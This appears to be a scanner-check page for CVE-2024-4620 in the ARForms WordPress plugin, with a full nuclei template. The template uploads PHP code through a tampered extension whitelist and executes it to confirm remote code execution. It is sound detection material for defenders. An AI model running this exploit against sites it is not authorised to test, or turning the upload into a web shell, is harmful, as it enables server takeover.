ArForms < 6.6 - Remote Code Execution

criticalseverity

9.8CVSS score

3.3%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

The ARForms - Premium WordPress Form Builder Plugin WordPress plugin before 6.6 allows unauthenticated users to modify uploaded files in such a way that PHP code can be uploaded when an upload file input is included on a form

Impact

Unauthenticated attackers can upload malicious PHP files to achieve remote code execution on WordPress servers running ARForms.

Fix

Update ARForms plugin to version 6.6 or later.

How to confirm it

Send: GET /{{path}}
Send: POST /wp-admin/admin-ajax.php
Positive when: contains(body, "|{{filename}}.php|") and status_code == 200
Send: GET /wp-content/uploads/arforms/userfiles/{{filename}}.php?input={{base64(marker)}}
Positive when: contains((body), "{{marker}}") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-4620 -u <target>

The full check

id: CVE-2024-4620

info:
  name: ArForms < 6.6 - Remote Code Execution
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    The ARForms - Premium WordPress Form Builder Plugin WordPress plugin before 6.6 allows unauthenticated users to modify uploaded files in such a way that PHP code can be uploaded when an upload file input is included on a form
  impact: |
    Unauthenticated attackers can upload malicious PHP files to achieve remote code execution on WordPress servers running ARForms.
  remediation: |
    Update ARForms plugin to version 6.6 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4620
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-4620
    epss-score: 0.03345
    epss-percentile: 0.88773
    cpe: cpe:2.3:a:reputeinfosystems:arforms:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: reputeinfosystems
    product: arforms
    framework: wordpress
    verified: true
    max-request: 3
  tags: cve,cve2024,wordpress,wp,wp-plugin,arforms,intrusive,vkev,vuln

flow: http(1) && http(2) && http(3)

variables:
  path: "{{path}}" # page hosting Arform file upload form
  filename: "{{randbase(8)}}"
  marker: "{{randstr}}"

http:
  - raw:
      - |
        GET /{{path}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    extractors:
      - type: xpath
        name: field_id
        attribute: id
        internal: true
        xpath:
          - '//div[@class=" arfajax-file-upload"]'

      - type: xpath
        name: form_id
        attribute: value
        internal: true
        xpath:
          - '//input[@data-id="form_id"]'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7y508xYQXqEUtnyQ
        X-FILENAME: {{filename}}.php

        ------WebKitFormBoundary7y508xYQXqEUtnyQ
        Content-Disposition: form-data; name="action"

        arf_send_form_data
        ------WebKitFormBoundary7y508xYQXqEUtnyQ
        Content-Disposition: form-data; name="frm"

        {{form_id}}
        ------WebKitFormBoundary7y508xYQXqEUtnyQ
        Content-Disposition: form-data; name="field_id"

        {{replace(field_id,'div_','')}}
        ------WebKitFormBoundary7y508xYQXqEUtnyQ
        Content-Disposition: form-data; name="file_type"

        text/html
        ------WebKitFormBoundary7y508xYQXqEUtnyQ
        Content-Disposition: form-data; name="types_arr"

        htm|html, jpg|jpeg|php
        ------WebKitFormBoundary7y508xYQXqEUtnyQ
        Content-Disposition: form-data; name="is_preview"


        ------WebKitFormBoundary7y508xYQXqEUtnyQ
        Content-Disposition: form-data; name="files"; filename="tinyjpeg.html"
        Content-Type: text/html

        <?phP echo base64_decode($_GET['input']); ?>
        ------WebKitFormBoundary7y508xYQXqEUtnyQ--

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "|{{filename}}.php|")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/arforms/userfiles/{{filename}}.php?input={{base64(marker)}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains((body), "{{marker}}")'
          - 'status_code == 200'
        condition: and

References

https://nvd.nist.gov/vuln/detail/CVE-2024-4620

Use this check only on systems you are authorised to test. Where the data comes from